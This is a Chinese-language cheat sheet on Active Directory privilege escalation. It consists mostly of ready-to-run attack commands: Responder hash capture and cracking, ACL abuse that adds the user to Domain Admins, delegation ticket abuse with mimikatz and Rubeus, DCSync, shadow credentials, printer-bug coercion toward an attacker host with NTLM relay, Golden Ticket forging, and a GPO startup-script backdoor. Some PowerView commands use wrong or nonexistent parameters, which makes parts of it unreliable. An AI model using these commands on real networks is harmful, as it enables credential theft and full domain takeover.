---
title: "域权限提升技术"
weight: 20
date: "2026-03-09T08:58:49+08:00"
lastmod: "2026-03-09T08:58:49+08:00"
---

## 概述

域环境权限提升是从普通域用户到域管理员的关键步骤。本文总结常见提权路径和利用方法。

**攻击等级**: ⭐⭐⭐⭐⭐  
**适用场景**: 域内渗透、横向移动

---

## 信息收集

### 用户信息

```powershell
# 当前用户信息
whoami /all
net user %username%
net user %username% /domain

# PowerView
Get-DomainUser -Identity $(whoami) | Select-Object -ExpandProperty Properties

# 查找管理员
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberName
Get-DomainGroupMember -Identity "Enterprise Admins" | Select-Object MemberName
```

### 组信息

```powershell
# 当前用户所属组
net user %username% | findstr /i "Group"

# PowerView
Get-DomainUser -Identity $(whoami) | Select-Object -ExpandProperty MemberOf

# 高权限组
- Domain Admins
- Enterprise Admins
- Administrators
- Account Operators
- Backup Operators
- Server Operators
- Print Operators
```

### 计算机信息

```powershell
# 域内计算机
Get-DomainComputer | Select-Object Name

# 当前用户登录的计算机
Get-DomainUser -Identity $(whoami) | Select-Object LastLogon

# 查找本地管理员
Get-NetLocalGroup -ComputerName TARGET -ListGroups
```

### ACL 信息

```powershell
# 查找有趣的 ACL
Find-InterestingDomainAcl

# 对当前用户的权限
Get-ObjectAcl -Identity $(whoami) -Rights All

# BloodHound 收集
Sharphound.exe -c All
```

---

## 常见提权路径

### 1. 组播名称解析中毒 (LLMNR/NBT-NS)

**原理**: 响应本地名称解析请求，获取 NTLM 哈希。

**利用**:
```bash
# 启动 Responder
python3 Responder.py -I eth0 -v

# 等待受害者
# 自动捕获哈希

# 离线爆破
hashcat -m 5600 Responder.log rockyou.txt
john --format=netntlm Responder.log
```

### 2. SMB 共享枚举

**原理**: 查找可访问的共享，寻找敏感文件。

**利用**:
```powershell
# 枚举共享
net view \\TARGET
net use \\TARGET\SHARE

# PowerView
Find-DomainShare

# 查找敏感文件
Get-ChildItem \\TARGET\SHARE\ -Recurse -Include *password*,*credential*,*.xlsx

# 访问共享
dir \\DC\SYSVOL\domain.local\Scripts\
```

### 3. GPO 滥用

**原理**: 组策略对象配置不当，可获取权限。

**检测**:
```powershell
# 查找可修改的 GPO
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
  Where-Object {$_.IdentityReferenceName -eq $(whoami)}

# 查找包含密码的 GPO
Get-DomainGPO | Get-DomainObjectAcl |
  Where-Object {$_.ActiveDirectoryRights -match "Write"}
```

**利用**:
```powershell
# 1. 查找 SYSVOL 中的密码
findstr /S /I cpassword \\<FQDN>\sysvol\*.xml

# 2. 解密 GPP 密码
python3 gpp-decrypt.py encrypted_password

# 3. 修改 GPO 添加后门
# 组策略 → 启动脚本 → 添加恶意脚本
```

### 4. ACL 权限滥用

**原理**: AD 对象 ACL 配置不当，可提升权限。

**常见权限**:

| 权限 | 可利用 | 说明 |
|------|--------|------|
| GenericAll | ✅ | 完全控制 |
| GenericWrite | ✅ | 写权限 |
| WriteOwner | ✅ | 修改所有者 |
| WriteDACL | ✅ | 修改 DACL |
| ForceChangePassword | ✅ | 修改密码 |
| Self (Self-Membership) | ✅ | 添加到组 |

**利用**:

```powershell
# ForceChangePassword
net user target_user NewPass123! /domain

# PowerView
Add-DomainGroupMember -Identity "Domain Admins" -Members $(whoami)

# 修改 SPN (Kerberoasting)
Set-DomainUser -Identity target_user -ServicePrincipalNames "MSSQLSvc/target:1433"

# 添加万能钥匙 (Skeleton Key)
# 需要 Replicating Directory Changes
```

### 5.  unconstrained Delegation

**原理**: 配置 unconstrained delegation 的服务器可获取用户 TGT。

**检测**:
```powershell
# 查找 unconstrained delegation
Get-DomainComputer -TrustedToAuth | Select-Object Name

# PowerView
Get-DomainComputer -Untrusted | Select-Object Name
```

**利用**:
```powershell
# 1. 等待域管理员登录
# 在配置 unconstrained delegation 的服务器上

# 2. 导出 TGT
mimikatz # sekurlsa::tickets /export

# 3. 使用 TGT
mimikatz # kerberos::ptt [0;12345]-2-0-...-Administrator@krbtgt-DOMAIN.kirbi

# 4. 访问域控
dir \\DC.DOMAIN.LOCAL\c$
```

### 6. 约束委派 (Constrained Delegation)

**原理**: 配置约束委派的账户可模拟用户访问特定服务。

**检测**:
```powershell
# 查找约束委派
Get-DomainUser -TrustedToAuth | Select-Object Name,msDS-AllowedToDelegateTo
Get-DomainComputer -TrustedToAuth | Select-Object Name,msDS-AllowedToDelegateTo
```

**利用**:
```bash
# 使用 Rubeus
Rubeus.exe s4u /user:svc_account /rc4:HASH /domain:DOMAIN \
  /msdsspn:"CIFS/target.domain.local" /altservice:"CIFS" /ptt

# 访问目标
dir \\target.domain.local\c$
```

### 7. 资源委派 (Resource-Based Constrained Delegation)

**原理**: 目标计算机配置允许特定账户委派。

**检测**:
```powershell
# 查找资源委派
Get-DomainComputer -TrustedToAuthFor | Select-Object Name

# PowerView
Get-DomainComputer | Where-Object {$_.msDS-AllowedToActOnBehalfOfOtherIdentity}
```

**利用**:
```bash
# 1. 获取目标计算机控制权限

# 2. 配置委派
python3 rbcd.py -delegate-from ATTACKER_SVC -delegate-to TARGET_COMPUTER \
  -action write DOMAIN/user:password

# 3. S4U 攻击
Rubeus.exe s4u /user:ATTACKER_SVC /rc4:HASH /domain:DOMAIN \
  /msdsspn:"HOST/target" /ptt

# 4. 访问目标
```

### 8. DCSync

**原理**: 模拟域控同步，获取所有用户哈希。

**前提**:
- Replicating Directory Changes
- Replicating Directory Changes All

**利用**:
```bash
# Impacket
python3 secretsdump.py DOMAIN/admin:pass@DC_IP

# Mimikatz
lsadump::dcsync /domain:DOMAIN /user:krbtgt

# 获取所有用户哈希
python3 secretsdump.py DOMAIN/admin:pass@DC_IP -outputfile ntds
```

### 9. Shadow Credentials

**原理**: 添加 Key Credential 链接，无需密码认证。

**前提**:
- GenericWrite / GenericAll 权限

**利用**:
```bash
# 添加 Key Credential
python3 pywhisker.py -d DOMAIN -u user -p password \
  --target target_user --action add

# 获取 TGT
python3 getTGT.py -k -no-pass DOMAIN/target_user

# 使用 TGT
export KRB5CCNAME=target_user.ccache
python3 psexec.py -k -no-pass DOMAIN/target_user@DC
```

### 10. Printer Bug

**原理**: 强制目标机器向攻击者认证。

**利用**:
```bash
# 1. 启动 Responder
python3 Responder.py -I eth0 -v

# 2. 触发 Printer Bug
python3 dementor.py -u attacker -p password DOMAIN/DC_IP

# 或使用 SpoolSample
SpoolSample.exe DC_IP ATTACKER_IP

# 3. 捕获 NTLM 哈希
# Responder 会自动捕获

# 4. Relay 或爆破
python3 ntlmrelayx.py -t smb://DC_IP
```

---

## 实战案例

### 案例 1: 普通用户到域管理员

```bash
# 1. 初始访问
# 钓鱼邮件获得普通域用户

# 2. 信息收集
python3 ldapdomaindump.py -u DOMAIN/user -p password DC_IP

# 3. BloodHound 分析
Sharphound.exe -c All
# 分析最短路径

# 4. 发现 ACL 权限
# 对某服务账号有 GenericWrite

# 5. 配置 SPN
python3 setspn.py -u DOMAIN/user -p password -s "MSSQLSvc/target:1433" target_svc

# 6. Kerberoasting
python3 GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request

# 7. 爆破密码
hashcat -m 13100 hashes.txt rockyou.txt

# 8. 用服务账号 DCSync
python3 secretsdump.py DOMAIN/svc:password@DC_IP

# 9. 获取域管理员权限
python3 psexec.py DOMAIN/administrator:hash@DC_IP
```

### 案例 2: 约束委派提权

```powershell
# 1. 查找约束委派
Get-DomainComputer -TrustedToAuth | Select-Object Name

# 2. 获取委派的服务器权限
# 通过其他漏洞

# 3. 导出票据
mimikatz # sekurlsa::tickets /export

# 4. 模拟域管理员
Rubeus.exe s4u /user:svc_account /ticket:ticket.kirbi \
  /msdsspn:"HOST/DC" /altservice:"CIFS" /ptt

# 5. 访问域控
dir \\DC.DOMAIN.LOCAL\c$
```

### 案例 3: GPO 后门

```powershell
# 1. 查找可修改的 GPO
Get-DomainGPO | Get-DomainObjectAcl |
  Where-Object {$_.IdentityReferenceName -eq $(whoami)}

# 2. 修改 GPO
# 添加启动脚本

# 3. 脚本内容
powershell -enc "Add-LocalGroupMember -Group Administrators -Member DOMAIN\\backdoor"

# 4. 等待 GPO 应用
# 域内机器自动执行

# 5. 使用后门账号
net use \\TARGET\admin$ /user:backdoor password
```

---

## 工具

### PowerView

```powershell
# 用户枚举
Get-DomainUser
Get-DomainUser -Identity admin

# 组枚举
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins"

# 计算机枚举
Get-DomainComputer

# ACL 枚举
Get-DomainObjectAcl
Find-InterestingDomainAcl

# GPO 枚举
Get-DomainGPO
Get-DomainGPOLocalGroup
```

### BloodHound

```bash
# 数据收集
Sharphound.exe -c All
Sharphound.exe -c Session,LoggedOn,Container

# 查询
# 预定义查询
- Find Shortest Path to Domain Admins
- Find Users with Foreign Relations
- Find Unconstrained Delegation

# Cypher 查询
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}) RETURN u
```

### Impacket

```bash
# 信息收集
ldapdomaindump.py DOMAIN/user:password DC_IP

# DCSync
secretsdump.py DOMAIN/user:password@DC_IP

# 执行命令
psexec.py DOMAIN/user:password@TARGET
smbexec.py DOMAIN/user:password@TARGET
wmiexec.py DOMAIN/user:password@TARGET
```

### Mimikatz

```powershell
# 导出凭证
sekurlsa::logonpasswords

# 导出票据
sekurlsa::tickets /export

# 注入票据
kerberos::ptt ticket.kirbi

# DCSync
lsadump::dcsync /domain:DOMAIN /user:krbtgt

# Golden Ticket
kerberos::golden /user:admin /domain:DOMAIN /sid:SID /krbtgt:HASH /ptt
```

---

## 参考链接

- [HackTricks - AD Privilege Escalation](https://book.hacktricks.wiki/active-directory-methodology/active-directory-enumeration)
- [BloodHound](https://github.com/BloodHoundAD/BloodHound)
- [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
- [Impacket](https://github.com/SecureAuthCorp/impacket)
